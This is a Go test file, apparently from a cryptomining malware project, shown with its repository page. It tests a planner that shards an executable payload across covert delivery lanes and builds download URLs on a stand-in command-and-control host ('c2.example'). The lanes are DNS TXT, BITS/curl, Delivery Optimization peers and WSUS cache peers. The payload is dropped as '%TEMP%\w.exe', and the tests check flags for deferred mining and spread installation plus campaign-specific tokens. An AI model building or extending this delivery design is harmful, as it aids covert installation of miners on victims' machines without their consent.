Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Restore P1/P2/fleet/erasure COVERED rows in PROBLEMS.md with refreshed counts; drop fixed poll-duplication and Vitest-noise items. Silence ECONNREFUSED stderr in Vitest setup, alias download mock exports, and expand erasure/Path Tracer test coverage.
80 lines
2.2 KiB
Go
80 lines
2.2 KiB
Go
package erasure
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestBuildPlanParallelLaneURLs(t *testing.T) {
|
|
store := NewShardStore()
|
|
plan, err := BuildPlan(store, "http://c2.example:8989/", "build-a", "camp-b", []byte("lane-url-payload"), `%TEMP%\w.exe`, "exe", "", true, true)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
wantLanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl"}
|
|
if len(plan.Shards) != len(wantLanes) {
|
|
t.Fatalf("shards=%d", len(plan.Shards))
|
|
}
|
|
for i, ref := range plan.Shards {
|
|
if ref.Index != i || ref.Lane != wantLanes[i] {
|
|
t.Fatalf("shard[%d]=%+v want lane %q", i, ref, wantLanes[i])
|
|
}
|
|
wantURL := "http://c2.example:8989/api/v1/public/erasure-shard/" + plan.ShardToken + "/" + itoa(i)
|
|
if ref.URL != wantURL {
|
|
t.Fatalf("url=%q want %q", ref.URL, wantURL)
|
|
}
|
|
}
|
|
if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 {
|
|
t.Fatalf("plan=%+v", plan)
|
|
}
|
|
if !plan.DeferMining || !plan.SpreadInstall {
|
|
t.Fatalf("flags defer=%v spread=%v", plan.DeferMining, plan.SpreadInstall)
|
|
}
|
|
}
|
|
|
|
func TestBuildPlanDefaultsServerURL(t *testing.T) {
|
|
store := NewShardStore()
|
|
plan, err := BuildPlan(store, " ", "b1", "", []byte("payload"), "dest", "exe", "", false, false)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(plan.Shards) == 0 || !strings.HasPrefix(plan.Shards[0].URL, "http://127.0.0.1:8989/") {
|
|
t.Fatalf("default base url missing: %+v", plan.Shards[0])
|
|
}
|
|
}
|
|
|
|
func TestBuildPlanNilStore(t *testing.T) {
|
|
if _, err := BuildPlan(nil, "http://x", "b", "", []byte("x"), "", "", "", false, false); err == nil {
|
|
t.Fatal("expected error for nil store")
|
|
}
|
|
}
|
|
|
|
func TestPlanTokenDeterministic(t *testing.T) {
|
|
payload := []byte("token-determinism")
|
|
a := planToken("build-1", "camp-1", payload)
|
|
b := planToken("build-1", "camp-1", payload)
|
|
if a != b || len(a) != 16 {
|
|
t.Fatalf("token=%q len=%d", a, len(a))
|
|
}
|
|
if planToken("build-1", "camp-2", payload) == a {
|
|
t.Fatal("campaign should change token")
|
|
}
|
|
if planToken("build-2", "camp-1", payload) == a {
|
|
t.Fatal("build id should change token")
|
|
}
|
|
}
|
|
|
|
func itoa(n int) string {
|
|
if n == 0 {
|
|
return "0"
|
|
}
|
|
var b [4]byte
|
|
i := len(b)
|
|
for n > 0 {
|
|
i--
|
|
b[i] = byte('0' + n%10)
|
|
n /= 10
|
|
}
|
|
return string(b[i:])
|
|
}
|